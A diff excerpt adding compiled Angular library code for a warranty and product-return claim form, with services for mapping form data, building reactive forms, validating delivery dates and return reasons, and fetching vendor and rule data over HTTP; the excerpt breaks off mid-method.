resolveManufacturerAlias(manufacturer) {
|
1036
|
+
const key = manufacturer ? manufacturer.toLowerCase() : "";
|
1037
|
+
const result = this.productManufacturerAliases[key];
|
1038
|
+
return result ? result : manufacturer;
|
1039
|
+
}
|
1040
|
+
}
|
1041
|
+
FormComponentService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: FormComponentService, deps: [], target: i0.ɵɵFactoryTarget.Injectable });
|
1042
|
+
FormComponentService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: FormComponentService, providedIn: 'root' });
|
1043
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: FormComponentService, decorators: [{
|
1044
|
+
type: Injectable,
|
1045
|
+
args: [{
|
1046
|
+
providedIn: 'root'
|
1047
|
+
}]
|
1048
|
+
}] });
|
1049
|
+
|
1050
|
+
class WarrantyDataMappingService {
|
1051
|
+
constructor(formComponentService, configService, serialService) {
|
1052
|
+
this.formComponentService = formComponentService;
|
1053
|
+
this.configService = configService;
|
1054
|
+
this.serialService = serialService;
|
1055
|
+
this.mapServiceType = function (sendData) {
|
1056
|
+
const optionList = sendData.optionList;
|
1057
|
+
let selectedServiceType = 5 /* WarrantyClaim */;
|
1058
|
+
optionList.forEach((optionVal) => {
|
1059
|
+
switch (optionVal.localizeVar) {
|
1060
|
+
case RuleOptionEnum.optCostProposal:
|
1061
|
+
case RuleOptionEnum.ruleoptCostProp:
|
1062
|
+
selectedServiceType = 6 /* CostProposal */;
|
1063
|
+
break;
|
1064
|
+
case RuleOptionEnum.optWarrantyClaim:
|
1065
|
+
selectedServiceType = 5 /* WarrantyClaim */;
|
1066
|
+
break;
|
1067
|
+
case RuleOptionEnum.optWrongDelivery:
|
1068
|
+
selectedServiceType = 3 /* WrongDelivery */;
|
1069
|
+
break;
|
1070
|
+
case RuleOptionEnum.otpWrongOrder:
|
1071
|
+
selectedServiceType = 2 /* WrongOrder */;
|
1072
|
+
break;
|
1073
|
+
case RuleOptionEnum.ruleOptDOA:
|
1074
|
+
selectedServiceType = 4 /* DeadOnArrival */;
|
1075
|
+
break;
|
1076
|
+
case RuleOptionEnum.ruleOptTD:
|
1077
|
+
selectedServiceType = 1 /* TransportationDamage */;
|
1078
|
+
break;
|
1079
|
+
case RuleOptionEnum.packageDamaged:
|
1080
|
+
selectedServiceType = 7 /* CargoClaim */;
|
1081
|
+
break;
|
1082
|
+
case RuleOptionEnum.discoveredWhenOpened:
|
1083
|
+
selectedServiceType = 7 /* CargoClaim */;
|
1084
|
+
break;
|
1085
|
+
case RuleOptionEnum.cargoNeedRepair:
|
1086
|
+
selectedServiceType = 8 /* RepairRequest */;
|
1087
|
+
break;
|
1088
|
+
}
|
1089
|
+
});
|
1090
|
+
sendData.serviceType = selectedServiceType;
|
1091
|
+
return sendData;
|
1092
|
+
};
|
1093
|
+
}
|
1094
|
+
ensureConfig() {
|
1095
|
+
this.config = this.configService.getConfig();
|
1096
|
+
}
|
1097
|
+
createSendData(mainForm, warrantyData) {
|
1098
|
+
const sendDataList = [];
|
1099
|
+
const lines = mainForm.get("lines");
|
1100
|
+
lines.controls.forEach((line, index) => {
|
1101
|
+
if (line.value.isChecked) {
|
1102
|
+
const info = line.get("info");
|
1103
|
+
const serial = this.serialService.getSerialNumber(line);
|
1104
|
+
let sendData = this.createCase(mainForm, line, warrantyData);
|
1105
|
+
sendData.reqFields = this.mapRequiredFields(info, serial);
|
1106
|
+
sendData.invoice = this.mapInvoices(info, warrantyData);
|
1107
|
+
sendData.optionList = this.mapOptions(info, warrantyData);
|
1108
|
+
sendData.products = this.mapProducts(mainForm, line);
|
1109
|
+
sendData = this.mapDeliveryData(sendData, line);
|
1110
|
+
sendData = this.mapAlternativeContact(sendData, mainForm);
|
1111
|
+
sendData = this.mapServiceType(sendData);
|
1112
|
+
sendDataList.push(sendData);
|
1113
|
+
}
|
1114
|
+
});
|
1115
|
+
return sendDataList;
|
1116
|
+
}
|
1117
|
+
createLastUsedDetails(sendData) {
|
1118
|
+
var _a;
|
1119
|
+
const details = new LastUsedDetails();
|
1120
|
+
if (((_a = sendData.invoice) === null || _a === void 0 ? void 0 : _a.length) > 0) {
|
1121
|
+
details.invoiceAddress = sendData.invoice[0].invoiceAddress;
|
1122
|
+
details.invoiceRef = sendData.invoice[0].invoiceRef;
|
1123
|
+
}
|
1124
|
+
details.customerAddress = sendData.customerAddress;
|
1125
|
+
details.customerReference = sendData.customerReference;
|
1126
|
+
details.customerFirstName = sendData.firstName;
|
1127
|
+
details.customerLastName = sendData.lastName;
|
1128
|
+
details.customerEmail = sendData.email;
|
1129
|
+
details.customerPhoneNumber = sendData.phone;
|
1130
|
+
return details;
|
1131
|
+
}
|
1132
|
+
createCase(mainForm, line, warrantyData) {
|
1133
|
+
var _a;
|
1134
|
+
const customerDetails = mainForm.get("customerDetails");
|
1135
|
+
const sendData = new WarrantySendData();
|
1136
|
+
sendData.caseType = this.config.defConfig.caseType;
|
1137
|
+
sendData.sendEmail = mainForm.value.sendConfirmationEmailEnabled;
|
1138
|
+
sendData.email = customerDetails.value.email;
|
1139
|
+
sendData.firstName = customerDetails.value.firstName;
|
1140
|
+
sendData.lastName = customerDetails.value.lastName;
|
1141
|
+
sendData.customerNumber = customerDetails.value.customerNumber;
|
1142
|
+
sendData.customerName = customerDetails.value.customerName;
|
1143
|
+
sendData.customerReference = customerDetails.value.customerReference;
|
1144
|
+
sendData.phone = customerDetails.value.phone;
|
1145
|
+
sendData.customerAddress = customerDetails.value.customerAddress;
|
1146
|
+
sendData.location = customerDetails.value.location;
|
1147
|
+
sendData.contactPreference = customerDetails.value.contactPreference;
|
1148
|
+
if (line.value.productDescription) {
|
1149
|
+
sendData.description = line.value.productDescription;
|
1150
|
+
}
|
1151
|
+
else
|
1152
|
+
sendData.description = "";
|
1153
|
+
if ((_a = this.config.defData) === null || _a === void 0 ? void 0 : _a.orderNumber) {
|
1154
|
+
sendData.orderNumberReference = this.config.defData.orderNumber;
|
1155
|
+
}
|
1156
|
+
const info = line.get("info");
|
1157
|
+
const vendor = warrantyData.getVendorByCode(info.value.vendor);
|
1158
|
+
sendData.vendorId = vendor.id;
|
1159
|
+
if (info.value.category) {
|
1160
|
+
const category = warrantyData.getCategoryByName(info.value.category);
|
1161
|
+
sendData.productTypeId = category.id;
|
1162
|
+
}
|
1163
|
+
return sendData;
|
1164
|
+
}
|
1165
|
+
mapDeliveryData(sendData, line) {
|
1166
|
+
const info = line.get("info");
|
1167
|
+
if (line.get("deliveryDate").value) {
|
1168
|
+
sendData.deliveryDate = line.get("deliveryDate").value;
|
1169
|
+
}
|
1170
|
+
if (info.value.deliveryDate) {
|
1171
|
+
sendData.purchaseDeliveryDate = info.value.deliveryDate;
|
1172
|
+
}
|
1173
|
+
else
|
1174
|
+
sendData.purchaseDeliveryDate = "";
|
1175
|
+
if (!this.config.OrderIsNull) {
|
1176
|
+
sendData.city = this.config.defData.deliveryHeader.city;
|
1177
|
+
sendData.zipCode = this.config.defData.deliveryHeader.zipcode;
|
1178
|
+
sendData.street = this.config.defData.deliveryHeader.street;
|
1179
|
+
if (sendData.street === null || sendData.street.length === 0) {
|
1180
|
+
sendData.street = this.config.defData.deliveryHeader.street2;
|
1181
|
+
}
|
1182
|
+
}
|
1183
|
+
else {
|
1184
|
+
sendData.city = "";
|
1185
|
+
sendData.street = "";
|
1186
|
+
}
|
1187
|
+
return sendData;
|
1188
|
+
}
|
1189
|
+
mapInvoices(info, warrantyData) {
|
1190
|
+
const invoices = [];
|
1191
|
+
const reqFieldsList = info.get("reqFieldsList").value;
|
1192
|
+
const reqFields = info.get("reqFields");
|
1193
|
+
reqFieldsList.filter(f => f.type === FieldTypeEnum.invoiceInfo).forEach(rf => {
|
1194
|
+
const formControlName = this.formComponentService.getFormControlName(rf.type, rf.name);
|
1195
|
+
const fieldValue = reqFields.controls[formControlName].value;
|
1196
|
+
const transport = warrantyData.getTransportOption(fieldValue.transportMethod);
|
1197
|
+
invoices.push(new WarrantySendDataInvoice(fieldValue.orgReference, fieldValue.invoiceAddress, fieldValue.invoiceReference, transport.text));
|
1198
|
+
});
|
1199
|
+
return invoices;
|
1200
|
+
}
|
1201
|
+
mapProducts(mainForm, line) {
|
1202
|
+
var _a;
|
1203
|
+
const prodcuts = [];
|
1204
|
+
const productNumber = this.config.defConfig.isAnonymous && this.config.OrderIsNull ?
|
1205
|
+
mainForm.value.productNumber : line.value.productNumber;
|
1206
|
+
const productDescription = this.config.defConfig.isAnonymous && this.config.OrderIsNull ?
|
1207
|
+
mainForm.value.productDescription : line.value.productDescription;
|
1208
|
+
if (!this.config.OrderIsNull && ((_a = line.value.serialNumbers) === null || _a === void 0 ? void 0 : _a.length) > 0) {
|
1209
|
+
const items = line.value.serialNumbers.filter(s => s.isChecked);
|
1210
|
+
prodcuts.push(new WarrantySendDataProduct(productNumber, productDescription, 0, items.map(sn => new WarrantySendDataSerialNumber(true, sn.serial))));
|
1211
|
+
}
|
1212
|
+
else if (this.config.OrderIsNull) {
|
1213
|
+
let emptySerialNumbers = null;
|
1214
|
+
if (mainForm.value.serialNumber) {
|
1215
|
+
emptySerialNumbers = [new WarrantySendDataSerialNumber(true, mainForm.value.serialNumber)];
|
1216
|
+
}
|
1217
|
+
prodcuts.push(new WarrantySendDataProduct(productNumber, productDescription, 0, emptySerialNumbers));
|
1218
|
+
}
|
1219
|
+
else if (line.value.quantity > 0) {
|
1220
|
+
prodcuts.push(new WarrantySendDataProduct(productNumber, productDescription, line.value.quantity));
|
1221
|
+
}
|
1222
|
+
return prodcuts;
|
1223
|
+
}
|
1224
|
+
mapOptions(info, warrantyData) {
|
1225
|
+
const options = [];
|
1226
|
+
Object.keys(info.controls).forEach(ct => {
|
1227
|
+
if (ct.startsWith("node-") || ct === "reasonProductReturn") {
|
1228
|
+
let option = info.get(ct).value;
|
1229
|
+
if (option) {
|
1230
|
+
if (!Array.isArray(option)) {
|
1231
|
+
option = [option];
|
1232
|
+
}
|
1233
|
+
option.forEach(o => {
|
1234
|
+
const ruleOption = warrantyData.getRuleOption(o);
|
1235
|
+
options.push(ruleOption);
|
1236
|
+
});
|
1237
|
+
}
|
1238
|
+
}
|
1239
|
+
});
|
1240
|
+
return options;
|
1241
|
+
}
|
1242
|
+
mapRequiredFields(info, serial) {
|
1243
|
+
const reqFieldsList = info.get("reqFieldsList").value;
|
1244
|
+
const reqFields = info.get("reqFields");
|
1245
|
+
const reqFieldsToSend = [];
|
1246
|
+
const category = info.get("category").value;
|
1247
|
+
reqFieldsList.forEach(rf => {
|
1248
|
+
const formControlName = this.formComponentService.getFormControlName(rf.type, rf.name);
|
1249
|
+
switch (rf.type) {
|
1250
|
+
case FieldTypeEnum.invoiceInfo:
|
1251
|
+
break;
|
1252
|
+
case FieldTypeEnum.inputFile:
|
1253
|
+
reqFieldsToSend.push(new WarrantySendDataRequiredField(rf.id, rf.name, reqFields.controls[`${Constants.base64}${formControlName}`].value, rf.ruleOption.nodeId));
|
1254
|
+
break;
|
1255
|
+
default:
|
1256
|
+
const fieldValue = this.serialService.serialNoExists(rf.name, category, serial) ? serial : reqFields.controls[formControlName].value;
|
1257
|
+
if (fieldValue) {
|
1258
|
+
reqFieldsToSend.push(new WarrantySendDataRequiredField(rf.id, rf.name, fieldValue, rf.ruleOption.nodeId));
|
1259
|
+
}
|
1260
|
+
break;
|
1261
|
+
}
|
1262
|
+
});
|
1263
|
+
return reqFieldsToSend;
|
1264
|
+
}
|
1265
|
+
mapAlternativeContact(sendData, form) {
|
1266
|
+
if (form.contains("alternativeContact")) {
|
1267
|
+
sendData.alternativeContact = form.get("alternativeContact").value;
|
1268
|
+
}
|
1269
|
+
return sendData;
|
1270
|
+
}
|
1271
|
+
}
|
1272
|
+
WarrantyDataMappingService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyDataMappingService, deps: [{ token: FormComponentService }, { token: ConfigService }, { token: SerialNumberService }], target: i0.ɵɵFactoryTarget.Injectable });
|
1273
|
+
WarrantyDataMappingService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyDataMappingService, providedIn: 'root' });
|
1274
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyDataMappingService, decorators: [{
|
1275
|
+
type: Injectable,
|
1276
|
+
args: [{
|
1277
|
+
providedIn: 'root'
|
1278
|
+
}]
|
1279
|
+
}], ctorParameters: function () { return [{ type: FormComponentService }, { type: ConfigService }, { type: SerialNumberService }]; } });
|
1280
|
+
|
1281
|
+
function customPatternValidator(pattern, message) {
|
1282
|
+
return (control) => {
|
1283
|
+
const forbidden = pattern.test(control.value);
|
1284
|
+
return !forbidden ? { forbiddenValue: { value: control.value, message: message } } : null;
|
1285
|
+
};
|
1286
|
+
}
|
1287
|
+
|
1288
|
+
class WarrantyFormService {
|
1289
|
+
createMainForm(config, orderLines) {
|
1290
|
+
this.destroy$ = new Subject();
|
1291
|
+
const form = new FormGroup({
|
1292
|
+
lines: new FormArray([]),
|
1293
|
+
sendConfirmationEmailEnabled: new FormControl(false, Validators.required),
|
1294
|
+
alternativeContactEnabled: new FormControl(false, Validators.required),
|
1295
|
+
agreeThatInfoIsCorrect: new FormControl(false, Validators.requiredTrue),
|
1296
|
+
});
|
1297
|
+
if (config.OrderIsNull) {
|
1298
|
+
form.addControl("serialNumber", new FormControl(""));
|
1299
|
+
if (config.defConfig.isAnonymous) {
|
1300
|
+
form.addControl("productNumber", new FormControl(""));
|
1301
|
+
form.addControl("productDescription", new FormControl(""));
|
1302
|
+
}
|
1303
|
+
}
|
1304
|
+
form.get("alternativeContactEnabled").valueChanges
|
1305
|
+
.pipe(takeUntil(this.destroy$))
|
1306
|
+
.subscribe(result => this.addRemoveAlternativeContactForm(form, result));
|
1307
|
+
if (config.returnWithSameReason) {
|
1308
|
+
form.addControl("returnAllItems", new FormControl(false));
|
1309
|
+
form.get("returnAllItems").valueChanges
|
1310
|
+
.pipe(takeUntil(this.destroy$))
|
1311
|
+
.subscribe(result => {
|
1312
|
+
const lines = form.get("lines");
|
1313
|
+
for (let i = lines.length - 1; i >= 0; i--) {
|
1314
|
+
lines.at(i).patchValue({ isChecked: result, isActive: false }, { emitEvent: false, onlySelf: true });
|
1315
|
+
}
|
1316
|
+
if (result && lines.length > 0) {
|
1317
|
+
lines.at(0).get("isActive").setValue(true);
|
1318
|
+
}
|
1319
|
+
});
|
1320
|
+
}
|
1321
|
+
return this.createProductForms(form, config, orderLines);
|
1322
|
+
}
|
1323
|
+
createProductForms(form, config, orderLines) {
|
1324
|
+
const linesControl = form.get('lines');
|
1325
|
+
orderLines.forEach(i => {
|
1326
|
+
var _a;
|
1327
|
+
const lineForm = new FormGroup({
|
1328
|
+
productDescription: new FormControl(i.productDescription),
|
1329
|
+
productNumber: new FormControl(i.itemNo),
|
1330
|
+
quantity: new FormControl(1),
|
1331
|
+
deliveryDate: new FormControl(i.deliveryDate),
|
1332
|
+
serialNumbers: new FormArray([]),
|
1333
|
+
serialNumbersSearch: new FormControl(''),
|
1334
|
+
serialNumbersSelectAll: new FormControl(true),
|
1335
|
+
isChecked: new FormControl(!config.isCompletedOrderCase),
|
1336
|
+
isActive: new FormControl(!config.isCompletedOrderCase),
|
1337
|
+
info: this.createInfoForm()
|
1338
|
+
});
|
1339
|
+
lineForm.get("isChecked").valueChanges
|
1340
|
+
.pipe(takeUntil(this.destroy$))
|
1341
|
+
.subscribe(result => {
|
1342
|
+
const formLines = form.get("lines");
|
1343
|
+
formLines.controls.forEach(x => x.get("isActive").setValue(false));
|
1344
|
+
if (!result) {
|
1345
|
+
const checkedValueIndex = formLines.value.findIndex(l => l.isChecked);
|
1346
|
+
if (checkedValueIndex != -1) {
|
1347
|
+
formLines.at(checkedValueIndex).get("isActive").setValue(true);
|
1348
|
+
}
|
1349
|
+
form.patchValue({ returnAllItems: false }, { emitEvent: false, onlySelf: true });
|
1350
|
+
}
|
1351
|
+
else {
|
1352
|
+
form.patchValue({ returnAllItems: formLines.value.every(l => l.isChecked) }, { emitEvent: false, onlySelf: true });
|
1353
|
+
}
|
1354
|
+
lineForm.get("isActive").setValue(result);
|
1355
|
+
});
|
1356
|
+
if (((_a = i.serialNumber) === null || _a === void 0 ? void 0 : _a.length) > 0)
|
1357
|
+
this.subscribeSerialNumbersSearchValueChanges(lineForm, i, config);
|
1358
|
+
else
|
1359
|
+
this.subscribeQunatityValueChanges(lineForm, i);
|
1360
|
+
linesControl.push(lineForm);
|
1361
|
+
});
|
1362
|
+
return form;
|
1363
|
+
}
|
1364
|
+
subscribeSerialNumbersSearchValueChanges(lineForm, orderLine, config) {
|
1365
|
+
lineForm.get("serialNumbersSearch").valueChanges
|
1366
|
+
.pipe(debounceTime(200), takeUntil(this.destroy$))
|
1367
|
+
.subscribe(result => {
|
1368
|
+
const serialsForm = lineForm.get("serialNumbers");
|
1369
|
+
serialsForm.controls.forEach(x => x.get("isVisible").setValue(false));
|
1370
|
+
serialsForm.controls.filter(c => c.get("serial").value.includes(result))
|
1371
|
+
.forEach(x => x.get("isVisible").setValue(true));
|
1372
|
+
});
|
1373
|
+
const checked = orderLine.serialNumber.length === 1 || (orderLine.serialNumber.length > 1 && !config.isWarranty);
|
1374
|
+
const serialControl = lineForm.get('serialNumbers');
|
1375
|
+
orderLine.serialNumber.forEach(sn => {
|
1376
|
+
const serialForm = new FormGroup({
|
1377
|
+
isChecked: new FormControl(checked),
|
1378
|
+
isVisible: new FormControl(true),
|
1379
|
+
serial: new FormControl(sn)
|
1380
|
+
});
|
1381
|
+
serialControl.push(serialForm);
|
1382
|
+
});
|
1383
|
+
}
|
1384
|
+
subscribeQunatityValueChanges(lineForm, orderLine) {
|
1385
|
+
lineForm.get("quantity").valueChanges
|
1386
|
+
.pipe(debounceTime(200), takeUntil(this.destroy$))
|
1387
|
+
.subscribe(result => this.updateQuantity(lineForm, orderLine, result));
|
1388
|
+
}
|
1389
|
+
updateQuantity(lineForm, orderLine, quantityValue) {
|
1390
|
+
const quantity = lineForm.get("quantity");
|
1391
|
+
const returnReson = lineForm.get("info").get("reasonProductReturn").value;
|
1392
|
+
if (returnReson.localizeVar === RuleOptionEnum.ruleOptDOA) {
|
1393
|
+
if (quantityValue > 1) {
|
1394
|
+
quantity.setValue(1);
|
1395
|
+
}
|
1396
|
+
}
|
1397
|
+
else if (quantityValue < 0) {
|
1398
|
+
quantity.setValue(0);
|
1399
|
+
}
|
1400
|
+
else if (quantityValue > orderLine.quantity) {
|
1401
|
+
quantity.setValue(orderLine.quantity);
|
1402
|
+
}
|
1403
|
+
else {
|
1404
|
+
const v = +quantityValue;
|
1405
|
+
if (quantityValue.toString().length !== v.toString().length) {
|
1406
|
+
quantity.setValue(v);
|
1407
|
+
}
|
1408
|
+
}
|
1409
|
+
}
|
1410
|
+
addRemoveAlternativeContactForm(form, add) {
|
1411
|
+
if (add) {
|
1412
|
+
const alternativeContact = new FormGroup({
|
1413
|
+
name: new FormControl('', [Validators.required, Validators.maxLength(50)]),
|
1414
|
+
role: new FormControl('', [Validators.maxLength(50)]),
|
1415
|
+
address: new FormControl('', [Validators.required, Validators.maxLength(200)]),
|
1416
|
+
zipCode: new FormControl('', [Validators.required, Validators.maxLength(50)]),
|
1417
|
+
city: new FormControl('', [Validators.required, Validators.maxLength(50)]),
|
1418
|
+
email: new FormControl('', [Validators.required, Validators.maxLength(100),
|
1419
|
+
customPatternValidator(/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/, "wf.emailformat")]),
|
1420
|
+
phone: new FormControl('', [Validators.required, Validators.maxLength(50),
|
1421
|
+
customPatternValidator(/^\d*$/, "wf.phoneformat")])
|
1422
|
+
});
|
1423
|
+
form.addControl("alternativeContact", alternativeContact);
|
1424
|
+
}
|
1425
|
+
else if (form.contains("alternativeContact")) {
|
1426
|
+
form.removeControl("alternativeContact");
|
1427
|
+
}
|
1428
|
+
}
|
1429
|
+
createInfoForm() {
|
1430
|
+
return new FormGroup({
|
1431
|
+
vendor: new FormControl('', Validators.required),
|
1432
|
+
category: new FormControl('', Validators.required),
|
1433
|
+
reasonProductReturn: new FormControl('', Validators.required),
|
1434
|
+
reqFieldsList: new FormControl([]),
|
1435
|
+
reqFields: new FormGroup({})
|
1436
|
+
});
|
1437
|
+
}
|
1438
|
+
createCustomerDetailsForm() {
|
1439
|
+
const customerDetails = new FormGroup({
|
1440
|
+
customerName: new FormControl('', [Validators.required, Validators.maxLength(100)]),
|
1441
|
+
customerNumber: new FormControl('', [Validators.required, Validators.maxLength(50)]),
|
1442
|
+
customerAddress: new FormControl('', [Validators.required, Validators.maxLength(200)]),
|
1443
|
+
customerReference: new FormControl('', [Validators.maxLength(50)]),
|
1444
|
+
firstName: new FormControl('', [Validators.required, Validators.maxLength(50)]),
|
1445
|
+
lastName: new FormControl('', [Validators.required, Validators.maxLength(50)]),
|
1446
|
+
email: new FormControl('', [Validators.required, Validators.maxLength(100),
|
1447
|
+
customPatternValidator(/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/, "wf.emailformat")]),
|
1448
|
+
phone: new FormControl('', [Validators.required, Validators.maxLength(50),
|
1449
|
+
customPatternValidator(/^\d*$/, "wf.phoneformat")]),
|
1450
|
+
location: new FormControl('', [Validators.required, Validators.maxLength(200)]),
|
1451
|
+
contactPreference: new FormControl('', [Validators.required, Validators.maxLength(200)]),
|
1452
|
+
});
|
1453
|
+
return customerDetails;
|
1454
|
+
}
|
1455
|
+
onDestroy() {
|
1456
|
+
this.destroy$.next(true);
|
1457
|
+
this.destroy$.unsubscribe();
|
1458
|
+
}
|
1459
|
+
}
|
1460
|
+
WarrantyFormService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyFormService, deps: [], target: i0.ɵɵFactoryTarget.Injectable });
|
1461
|
+
WarrantyFormService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyFormService, providedIn: 'root' });
|
1462
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyFormService, decorators: [{
|
1463
|
+
type: Injectable,
|
1464
|
+
args: [{
|
1465
|
+
providedIn: 'root'
|
1466
|
+
}]
|
1467
|
+
}] });
|
1468
|
+
|
1469
|
+
class WarrantyValidationService {
|
1470
|
+
displayDeliveryDate(infoForm, component) {
|
1471
|
+
if (infoForm.contains("deliveryDate")) {
|
1472
|
+
switch (component.reason.localizeVar) {
|
1473
|
+
case RuleOptionEnum.purchaseErrorDK:
|
1474
|
+
case RuleOptionEnum.notWorkOnDelivery:
|
1475
|
+
case RuleOptionEnum.discoveredWhenOpened:
|
1476
|
+
case RuleOptionEnum.cargoGoodsAvailable:
|
1477
|
+
return true;
|
1478
|
+
}
|
1479
|
+
}
|
1480
|
+
return false;
|
1481
|
+
}
|
1482
|
+
deliveryDateIsValid(infoForm, component) {
|
1483
|
+
if (this.displayDeliveryDate(infoForm, component)) {
|
1484
|
+
if (infoForm.value.deliveryDate) {
|
1485
|
+
switch (component.reason.localizeVar) {
|
1486
|
+
case RuleOptionEnum.purchaseErrorDK:
|
1487
|
+
case RuleOptionEnum.notWorkOnDelivery:
|
1488
|
+
case RuleOptionEnum.discoveredWhenOpened:
|
1489
|
+
case RuleOptionEnum.cargoGoodsAvailable:
|
1490
|
+
const dayLimit = 8;
|
1491
|
+
const deliveryDate = new Date(infoForm.value.deliveryDate);
|
1492
|
+
deliveryDate.setHours(0, 0, 0, 0);
|
1493
|
+
deliveryDate.setDate(deliveryDate.getDate() + dayLimit);
|
1494
|
+
const todayDate = new Date(new Date().setHours(0, 0, 0, 0));
|
1495
|
+
return deliveryDate >= todayDate;
|
1496
|
+
}
|
1497
|
+
}
|
1498
|
+
return false;
|
1499
|
+
}
|
1500
|
+
return true;
|
1501
|
+
}
|
1502
|
+
displayPackageOpenedDisclaimer(infoForm, warrantyData) {
|
1503
|
+
if (infoForm.contains("deliveryDate") &&
|
1504
|
+
infoForm.get("deliveryDate").valid) {
|
1505
|
+
return Object.keys(infoForm.controls).some(key => {
|
1506
|
+
if (key.startsWith("node-")) {
|
1507
|
+
const selectedOption = infoForm.get(key).value;
|
1508
|
+
if (selectedOption && !Array.isArray(selectedOption)) {
|
1509
|
+
const ruleOption = warrantyData.getRuleOption(selectedOption);
|
1510
|
+
return ruleOption.localizeVar === RuleOptionEnum.usedCondition;
|
1511
|
+
}
|
1512
|
+
}
|
1513
|
+
return false;
|
1514
|
+
});
|
1515
|
+
}
|
1516
|
+
return false;
|
1517
|
+
}
|
1518
|
+
returnReasonIsValid(config, ruleOption, orderLineIndex) {
|
1519
|
+
var _a;
|
1520
|
+
if (config.defConfig.country === CountriesEnum.DK
|
1521
|
+
&& config.defConfig.caseType === CaseTypeEnum.Return
|
1522
|
+
&& (ruleOption === null || ruleOption === void 0 ? void 0 : ruleOption.localizeVar) === RuleOptionEnum.purchaseErrorDK) {
|
1523
|
+
return (!isNaN((_a = config.defData.orderLines[orderLineIndex]) === null || _a === void 0 ? void 0 : _a.amount) && (config.defData.orderLines[orderLineIndex].quantity * Number(config.defData.orderLines[orderLineIndex].amount) <= 400)) ? false : true;
|
1524
|
+
}
|
1525
|
+
return true;
|
1526
|
+
}
|
1527
|
+
isValidForm(mainForm) {
|
1528
|
+
const lines = mainForm.get("lines");
|
1529
|
+
let isValid = lines.controls.some(l => l.value.isChecked);
|
1530
|
+
if (!isValid)
|
1531
|
+
return false;
|
1532
|
+
isValid = lines.controls.every(l => {
|
1533
|
+
if (l.value.isChecked) {
|
1534
|
+
if (l.valid) {
|
1535
|
+
const info = l.get("info");
|
1536
|
+
const reqFields = info.get("reqFields");
|
1537
|
+
if (Object.keys(reqFields.controls).length > 0) {
|
1538
|
+
return true;
|
1539
|
+
}
|
1540
|
+
}
|
1541
|
+
return false;
|
1542
|
+
}
|
1543
|
+
return true;
|
1544
|
+
});
|
1545
|
+
return isValid;
|
1546
|
+
}
|
1547
|
+
isValidSubmit(mainForm, sending) {
|
1548
|
+
let isValid = !sending;
|
1549
|
+
if (isValid)
|
1550
|
+
isValid = this.isValidForm(mainForm);
|
1551
|
+
if (isValid && mainForm.contains("customerDetails"))
|
1552
|
+
isValid = mainForm.get("customerDetails").valid;
|
1553
|
+
if (isValid && mainForm.contains("alternativeContact"))
|
1554
|
+
isValid = mainForm.get("customerDetails").valid;
|
1555
|
+
if (isValid)
|
1556
|
+
isValid = mainForm.get("sendConfirmationEmailEnabled").valid;
|
1557
|
+
if (isValid)
|
1558
|
+
isValid = mainForm.get("alternativeContactEnabled").valid;
|
1559
|
+
if (isValid)
|
1560
|
+
isValid = mainForm.get("agreeThatInfoIsCorrect").valid;
|
1561
|
+
if (isValid && mainForm.contains("agreeToDataPrivacyPolicy"))
|
1562
|
+
isValid = mainForm.get("agreeToDataPrivacyPolicy").valid;
|
1563
|
+
return isValid;
|
1564
|
+
}
|
1565
|
+
}
|
1566
|
+
WarrantyValidationService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyValidationService, deps: [], target: i0.ɵɵFactoryTarget.Injectable });
|
1567
|
+
WarrantyValidationService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyValidationService, providedIn: 'root' });
|
1568
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyValidationService, decorators: [{
|
1569
|
+
type: Injectable,
|
1570
|
+
args: [{
|
1571
|
+
providedIn: 'root'
|
1572
|
+
}]
|
1573
|
+
}] });
|
1574
|
+
|
1575
|
+
class WarrantyService {
|
1576
|
+
constructor(http, configService) {
|
1577
|
+
this.http = http;
|
1578
|
+
this.configService = configService;
|
1579
|
+
}
|
1580
|
+
initService() {
|
1581
|
+
this.url = this.configService.getConfig().defConfig.url;
|
1582
|
+
this.country = this.configService.getConfig().defConfig.country;
|
1583
|
+
this.locale = this.configService.getConfig().defConfig.locale;
|
1584
|
+
}
|
1585
|
+
getVendorList() {
|
1586
|
+
const options = this.configService.getHttpOptions();
|
1587
|
+
return this.http.get(this.url + 'vendors?country=' + this.country + '&locale=' + this.locale, options);
|
1588
|
+
}
|
1589
|
+
getCategoryList() {
|
1590
|
+
return this.http.get(this.url + 'producttypes?country=' + this.country + '&locale=' + this.locale, this.getOptions());
|
1591
|
+
}
|
1592
|
+
getVendorProducts() {
|
1593
|
+
return this.http.get(this.url + 'vendorproducts?country=' + this.country + '&locale=' + this.locale, this.getOptions());
|
1594
|
+
}
|
1595
|
+
getRuleVendorProducts() {
|
1596
|
+
return this.http.get(this.url + 'ruleVendorProducts?country=' + this.country, this.getOptions());
|
1597
|
+
}
|
1598
|
+
getRuleOptions(caseType) {
|
1599
|
+
return this.http.get(this.url + 'ruleOptions?country=' + this.country + '&casetype=' + caseType, this.getOptions());
|
1600
|
+
}
|
1601
|
+
getVendorProductLimits(vendorProductId) {
|
1602
|
+
return this.http.get(this.url + 'getLimitData?vendorProductId=' + vendorProductId + '&country=' + this.country + '&locale=' + this.locale, this.getOptions());
|
1603
|
+
}
|
1604
|
+
getRequiredFields() {
|
1605
|
+
